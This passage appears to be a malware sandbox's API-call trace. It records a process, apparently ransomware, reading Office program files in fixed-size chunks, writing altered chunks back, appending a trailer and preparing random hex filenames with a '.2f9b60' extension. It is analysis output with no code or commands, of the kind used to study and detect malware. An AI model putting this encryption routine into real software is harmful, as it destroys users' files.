0x11d3fd6a [0155.618] RtlRandomEx (in: Seed=0x3231fa90 | out: Seed=0x3231fa90) returned 0x31fef865 [0155.618] RtlRandomEx (in: Seed=0x3231fa90 | out: Seed=0x3231fa90) returned 0x6a6d08a7 [0155.618] RtlRandomEx (in: Seed=0x3231fa90 | out: Seed=0x3231fa90) returned 0x38e714a1 [0155.618] RtlRandomEx (in: Seed=0x3231fa90 | out: Seed=0x3231fa90) returned 0x494a78d0 [0155.618] RtlRandomEx (in: Seed=0x3231fa90 | out: Seed=0x3231fa90) returned 0x7746bd0a [0155.618] RtlRandomEx (in: Seed=0x3231fa90 | out: Seed=0x3231fa90) returned 0x449c1272 [0155.618] RtlRandomEx (in: Seed=0x3231fa90 | out: Seed=0x3231fa90) returned 0x129a62ee [0155.618] RtlRandomEx (in: Seed=0x3231fa90 | out: Seed=0x3231fa90) returned 0xede6d1f [0155.618] RtlRandomEx (in: Seed=0x3231fa90 | out: Seed=0x3231fa90) returned 0x7642391f [0155.618] RtlRandomEx (in: Seed=0x3231fa90 | out: Seed=0x3231fa90) returned 0x75510577 [0155.618] RtlRandomEx (in: Seed=0x3231fa90 | out: Seed=0x3231fa90) returned 0x18a79edf [0155.618] RtlRandomEx (in: Seed=0x3231fa90 | out: Seed=0x3231fa90) returned 0x451ca558 [0155.618] RtlRandomEx (in: Seed=0x3231fa90 | out: Seed=0x3231fa90) returned 0x761cf9e [0155.618] RtlRandomEx (in: Seed=0x3231fa90 | out: Seed=0x3231fa90) returned 0x404d9d55 [0155.618] RtlRandomEx (in: Seed=0x3231fa90 | out: Seed=0x3231fa90) returned 0x15d16743 [0155.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb150 [0155.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce242a0 [0155.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb180 [0155.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce242a0) returned 1 [0155.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb120) returned 1 [0155.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5ec0) returned 1 [0155.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4294be10 [0155.630] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.630] ReadFile (in: hFile=0x1228, lpBuffer=0x4294be10, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3231fb00, lpOverlapped=0x0 | out: lpBuffer=0x4294be10*, lpNumberOfBytesRead=0x3231fb00*=0x3c00, lpOverlapped=0x0) returned 1 [0155.666] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18730 [0155.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce242a0 [0155.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb2d0 [0155.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb2d0) returned 1 [0155.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4295ea60 [0155.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb2d0 [0155.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb300 [0155.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb300) returned 1 [0155.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce242a0) returned 1 [0155.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18730) returned 1 [0155.669] WriteFile (hFile=0x1228, lpBuffer=0x4295ea60, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3231fb00, lpOverlapped=0x0) [0194.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4295ea60) returned 1 [0194.372] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.372] ReadFile (in: hFile=0x1228, lpBuffer=0x4294be10, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3231fb00, lpOverlapped=0x0 | out: lpBuffer=0x4294be10*, lpNumberOfBytesRead=0x3231fb00*=0x3c00, lpOverlapped=0x0) returned 1 [0194.546] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0194.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba3e0 [0194.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3d10 [0194.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3d10) returned 1 [0194.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42838200 [0194.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3d10 [0194.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3cb0 [0194.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3cb0) returned 1 [0194.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba3e0) returned 1 [0194.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0194.549] WriteFile (in: hFile=0x1228, lpBuffer=0x42838200*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3231fb00, lpOverlapped=0x0 | out: lpBuffer=0x42838200*, lpNumberOfBytesWritten=0x3231fb00*=0x3c00, lpOverlapped=0x0) returned 1 [0209.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42838200) returned 1 [0209.984] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x43000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.984] ReadFile (in: hFile=0x1228, lpBuffer=0x4294be10, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3231fb00, lpOverlapped=0x0 | out: lpBuffer=0x4294be10*, lpNumberOfBytesRead=0x3231fb00*=0x3c00, lpOverlapped=0x0) returned 1 [0210.235] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x43000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0210.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb060 [0210.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205be80 [0210.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205be80) returned 1 [0210.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f8c1b0 [0210.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205be80 [0210.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b8b0 [0210.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b8b0) returned 1 [0210.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb060) returned 1 [0210.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0210.243] WriteFile (in: hFile=0x1228, lpBuffer=0x41f8c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3231fb00, lpOverlapped=0x0 | out: lpBuffer=0x41f8c1b0*, lpNumberOfBytesWritten=0x3231fb00*=0x3c00, lpOverlapped=0x0) returned 1 [0221.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f8c1b0) returned 1 [0221.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43105590 [0221.637] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0221.637] WriteFile (in: hFile=0x1228, lpBuffer=0x1cebdfc0*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x3231fbb0, lpOverlapped=0x0 | out: lpBuffer=0x1cebdfc0*, lpNumberOfBytesWritten=0x3231fbb0*=0x144, lpOverlapped=0x0) returned 1 [0222.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61920 [0222.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8689c0 [0222.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267710 [0222.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267710) returned 1 [0222.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82cfe0 [0222.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267710 [0222.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267980 [0222.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267980) returned 1 [0222.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8689c0) returned 1 [0222.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61920) returned 1 [0222.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x20267980 [0222.931] sprintf (in: _Dest=0x20267980, _Format="%c%c" | out: _Dest="b0") returned 2 [0222.931] sprintf (in: _Dest=0x20267982, _Format="%c%c" | out: _Dest="00") returned 2 [0222.931] sprintf (in: _Dest=0x20267984, _Format="%c%c" | out: _Dest="87") returned 2 [0222.931] sprintf (in: _Dest=0x20267986, _Format="%c%c" | out: _Dest="8f") returned 2 [0222.931] sprintf (in: _Dest=0x20267988, _Format="%c%c" | out: _Dest="ba") returned 2 [0222.931] sprintf (in: _Dest=0x2026798a, _Format="%c%c" | out: _Dest="e3") returned 2 [0222.931] sprintf (in: _Dest=0x2026798c, _Format="%c%c" | out: _Dest="d3") returned 2 [0222.932] sprintf (in: _Dest=0x2026798e, _Format="%c%c" | out: _Dest="09") returned 2 [0222.932] sprintf (in: _Dest=0x20267990, _Format="%c%c" | out: _Dest="5f") returned 2 [0222.932] sprintf (in: _Dest=0x20267992, _Format="%c%c" | out: _Dest="03") returned 2 [0222.932] sprintf (in: _Dest=0x20267994, _Format="%c%c" | out: _Dest="2c") returned 2 [0222.932] sprintf (in: _Dest=0x20267996, _Format="%c%c" | out: _Dest="39") returned 2 [0222.932] sprintf (in: _Dest=0x20267998, _Format="%c%c" | out: _Dest="f3") returned 2 [0222.932] sprintf (in: _Dest=0x2026799a, _Format="%c%c" | out: _Dest="b5") returned 2 [0222.932] sprintf (in: _Dest=0x2026799c, _Format="%c%c" | out: _Dest="3f") returned 2 [0222.932] sprintf (in: _Dest=0x2026799e, _Format="%c%c" | out: _Dest="19") returned 2 [0222.932] sprintf (in: _Dest=0x202679a0, _Format="%c%c" | out: _Dest="05") returned 2 [0222.932] sprintf (in: _Dest=0x202679a2, _Format="%c%c" | out: _Dest="0f") returned 2 [0222.932] RtlInitAnsiString (in: DestinationString=0x3231fc28, SourceString="b000878fbae3d3095f032c39f3b53f19050f" | out: DestinationString="b000878fbae3d3095f032c39f3b53f19050f") [0222.932] RtlAnsiStringToUnicodeString (in: DestinationString=0x3231fbf8, SourceString="b000878fbae3d3095f032c39f3b53f19050f", AllocateDestinationString=1 | out: DestinationString="b000878fbae3d3095f032c39f3b53f19050f") returned 0x0 [0222.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x431fa560 [0222.932] wcscat (in: _Dest=0x1b8689c0, _Source="b000878fb" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\b000878fb") returned="C:\\Program Files\\Microsoft Office\\Office14\\b000878fb" [0222.932] wcscat (in: _Dest=0x1b8689c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\b000878fb.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\b000878fb.2f9b60" [0222.933] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\b000878fb.2f9b60", NtPathName=0x3231fbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\b000878fb.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0222.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x43183940 Thread: id = 2564 os_tid = 0x207c [0155.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0007.TLL" (normalized: "c:\\program files\\microsoft office\\office14\\vblz0007.tll")) returned 0x20 [0155.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0007.TLL", dwFileAttributes=0x20) returned 1 [0155.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0007.TLL" (normalized: "c:\\program files\\microsoft office\\office14\\vblz0007.tll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xef0 [0155.591] GetFileSizeEx (in: hFile=0xef0, lpFileSize=0x323cfde0 | out: lpFileSize=0x323cfde0*=142808) returned 1 [0155.591] SetFilePointerEx (in: hFile=0xef0, liDistanceToMove=0x22dd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.591] ReadFile (in: hFile=0xef0, lpBuffer=0x323cfd60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x323cfda8, lpOverlapped=0x0 | out: lpBuffer=0x323cfd60*, lpNumberOfBytesRead=0x323cfda8*=0x4, lpOverlapped=0x0) returned 1 [0155.632] SetFilePointerEx (in: hFile=0xef0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5ec0 [0155.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb120 [0155.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb1b0 [0155.632] NtQuerySystemTime (in: CurrentTime=0x323cfca0 | out: CurrentTime=0x323cfca0*=132462177607654000) returned 0x0 [0155.632] RtlRandomEx (in: Seed=0x323cfc90 | out: Seed=0x323cfc90) returned 0x5a9a9e0f [0155.632] RtlRandomEx (in: Seed=0x323cfc90 | out: Seed=0x323cfc90) returned 0x7546c523 [0155.633] RtlRandomEx (in: Seed=0x323cfc90 | out: Seed=0x323cfc90) returned 0x4c4f5f44 [0155.633] RtlRandomEx (in: Seed=0x323cfc90 | out: Seed=0x323cfc90) returned 0x3eadd565 [0155.633] RtlRandomEx (in: Seed=0x323cfc90 | out: Seed=0x323cfc90) returned 0x23a52ae2 [0155.633] RtlRandomEx (in: Seed=0x323cfc90 | out: Seed=0x323cfc90) returned 0x82f6307 [0155.633] RtlRandomEx (in: Seed=0x323cfc90 | out: Seed=0x323cfc90) returned 0x6b8bf1ef [0155.633] RtlRandomEx (in: Seed=0x323cfc90 | out: Seed=0x323cfc90) returned 0x61ccff6d [0155.633] RtlRandomEx (in: Seed=0x323cfc90 | out: Seed=0x323cfc90) returned 0x6dead10c [0155.633] RtlRandomEx (in: Seed=0x323cfc90 | out: Seed=0x323cfc90) returned 0x13a8edd0 [0155.633] RtlRandomEx (in: Seed=0x323cfc90 | out: Seed=0x323cfc90) returned 0x147496cd [0155.633] RtlRandomEx (in: Seed=0x323cfc90 | out: Seed=0x323cfc90) returned 0x44ce07a0 [0155.633] RtlRandomEx (in: Seed=0x323cfc90 | out: Seed=0x323cfc90) returned 0x7c62dfbb [0155.633] RtlRandomEx (in: Seed=0x323cfc90 | out: Seed=0x323cfc90) returned 0x3692600f [0155.633] RtlRandomEx (in: Seed=0x323cfc90 | out: Seed=0x323cfc90) returned 0x4e55d08c [0155.633] RtlRandomEx (in: Seed=0x323cfc90 | out: Seed=0x323cfc90) returned 0xd3064a8 [0155.633] RtlRandomEx (in: Seed=0x323cfc90 | out: Seed=0x323cfc90) returned 0x422f0c7a [0155.633] RtlRandomEx (in: Seed=0x323cfc90 | out: Seed=0x323cfc90) returned 0x4106233d [0155.633] RtlRandomEx (in: Seed=0x323cfc90 | out: Seed=0x323cfc90) returned 0x290046d9 [0155.633] RtlRandomEx (in: Seed=0x323cfc90 | out: Seed=0x323cfc90) returned 0x6d232de2 [0155.633] RtlRandomEx (in: Seed=0x323cfc90 | out: Seed=0x323cfc90) returned 0x5a2aa6b7 [0155.633] RtlRandomEx (in: Seed=0x323cfc90 | out: Seed=0x323cfc90) returned 0x4b880ee5 [0155.633] RtlRandomEx (in: Seed=0x323cfc90 | out: Seed=0x323cfc90) returned 0x98aa273 [0155.634] RtlRandomEx (in: Seed=0x323cfc90 | out: Seed=0x323cfc90) returned 0x786f2526 [0155.634] RtlRandomEx (in: Seed=0x323cfc90 | out: Seed=0x323cfc90) returned 0x3192bbf3 [0155.634] RtlRandomEx (in: Seed=0x323cfc90 | out: Seed=0x323cfc90) returned 0x2bd05063 [0155.634] RtlRandomEx (in: Seed=0x323cfc90 | out: Seed=0x323cfc90) returned 0x4e3bcd4f [0155.634] RtlRandomEx (in: Seed=0x323cfc90 | out: Seed=0x323cfc90) returned 0x42039bd9 [0155.634] RtlRandomEx (in: Seed=0x323cfc90 | out: Seed=0x323cfc90) returned 0x583f8d61 [0155.634] RtlRandomEx (in: Seed=0x323cfc90 | out: Seed=0x323cfc90) returned 0x44af676c [0155.634] RtlRandomEx (in: Seed=0x323cfc90 | out: Seed=0x323cfc90) returned 0x6ed9219e [0155.634] RtlRandomEx (in: Seed=0x323cfc90 | out: Seed=0x323cfc90) returned 0x32bb0c57 [0155.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb1e0 [0155.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce242a0 [0155.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb210 [0155.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce242a0) returned 1 [0155.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb1b0) returned 1 [0155.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5ec0) returned 1 [0155.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4294fa20 [0155.646] SetFilePointerEx (in: hFile=0xef0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.646] ReadFile (in: hFile=0xef0, lpBuffer=0x4294fa20, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x323cfd00, lpOverlapped=0x0 | out: lpBuffer=0x4294fa20*, lpNumberOfBytesRead=0x323cfd00*=0x3c00, lpOverlapped=0x0) returned 1 [0155.862] SetFilePointerEx (in: hFile=0xef0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18870 [0155.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24520 [0155.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb3f0 [0155.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb3f0) returned 1 [0155.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42993630 [0155.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb3f0 [0155.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb720 [0155.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb720) returned 1 [0155.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24520) returned 1 [0155.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18870) returned 1 [0155.865] WriteFile (hFile=0xef0, lpBuffer=0x42993630, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x323cfd00, lpOverlapped=0x0) [0186.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42993630) returned 1 [0186.752] SetFilePointerEx (in: hFile=0xef0, liDistanceToMove=0x12c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.752] ReadFile (in: hFile=0xef0, lpBuffer=0x4294fa20, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x323cfd00, lpOverlapped=0x0 | out: lpBuffer=0x4294fa20*, lpNumberOfBytesRead=0x323cfd00*=0x3c00, lpOverlapped=0x0) returned 1 [0190.624] SetFilePointerEx (in: hFile=0xef0, liDistanceToMove=0x12c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138f20 [0190.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138f20) returned 1 [0190.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429a2670 [0190.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138f20 [0190.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138f50 [0190.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138f50) returned 1 [0190.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.628] WriteFile (in: hFile=0xef0, lpBuffer=0x429a2670*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x323cfd00, lpOverlapped=0x0 | out: lpBuffer=0x429a2670*, lpNumberOfBytesWritten=0x323cfd00*=0x3c00, lpOverlapped=0x0) returned 1 [0205.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429a2670) returned 1 [0205.601] SetFilePointerEx (in: hFile=0xef0, liDistanceToMove=0x1f1d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.601] ReadFile (in: hFile=0xef0, lpBuffer=0x4294fa20, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x323cfd00, lpOverlapped=0x0 | out: lpBuffer=0x4294fa20*, lpNumberOfBytesRead=0x323cfd00*=0x3c00, lpOverlapped=0x0) returned 1 [0205.603] SetFilePointerEx (in: hFile=0xef0, liDistanceToMove=0x1f1d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61600 [0205.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbf30 [0205.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbf30) returned 1 [0205.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429a2670 [0205.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbf30 [0205.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbf90 [0205.607] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbf90) returned 1 [0205.607] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0205.608] WriteFile (in: hFile=0xef0, lpBuffer=0x429a2670*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x323cfd00, lpOverlapped=0x0 | out: lpBuffer=0x429a2670*, lpNumberOfBytesWritten=0x323cfd00*=0x3c00, lpOverlapped=0x0) returned 1 [0205.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429a2670) returned 1 [0205.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x431a0400 [0205.610] SetFilePointerEx (in: hFile=0xef0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.610] WriteFile (in: hFile=0xef0, lpBuffer=0x134940*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x323cfdb0, lpOverlapped=0x0 | out: lpBuffer=0x134940*, lpNumberOfBytesWritten=0x323cfdb0*=0x14a, lpOverlapped=0x0) returned 1 [0208.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61650 [0208.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb360 [0208.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbae0 [0208.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbae0) returned 1 [0208.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d520 [0208.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbae0 [0208.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbab0 [0208.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbab0) returned 1 [0208.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb360) returned 1 [0208.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61650) returned 1 [0208.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ac9e0 [0208.972] sprintf (in: _Dest=0x431ac9e0, _Format="%c%c" | out: _Dest="87") returned 2 [0208.972] sprintf (in: _Dest=0x431ac9e2, _Format="%c%c" | out: _Dest="0f") returned 2 [0208.972] sprintf (in: _Dest=0x431ac9e4, _Format="%c%c" | out: _Dest="43") returned 2 [0208.972] sprintf (in: _Dest=0x431ac9e6, _Format="%c%c" | out: _Dest="4f") returned 2 [0208.972] sprintf (in: _Dest=0x431ac9e8, _Format="%c%c" | out: _Dest="87") returned 2 [0208.972] sprintf (in: _Dest=0x431ac9ea, _Format="%c%c" | out: _Dest="85") returned 2 [0208.972] sprintf (in: _Dest=0x431ac9ec, _Format="%c%c" | out: _Dest="b7") returned 2 [0208.972] sprintf (in: _Dest=0x431ac9ee, _Format="%c%c" | out: _Dest="25") returned 2 [0208.972] sprintf (in: _Dest=0x431ac9f0, _Format="%c%c" | out: _Dest="85") returned 2 [0208.972] sprintf (in: _Dest=0x431ac9f2, _Format="%c%c" | out: _Dest="0d") returned 2 [0208.972] sprintf (in: _Dest=0x431ac9f4, _Format="%c%c" | out: 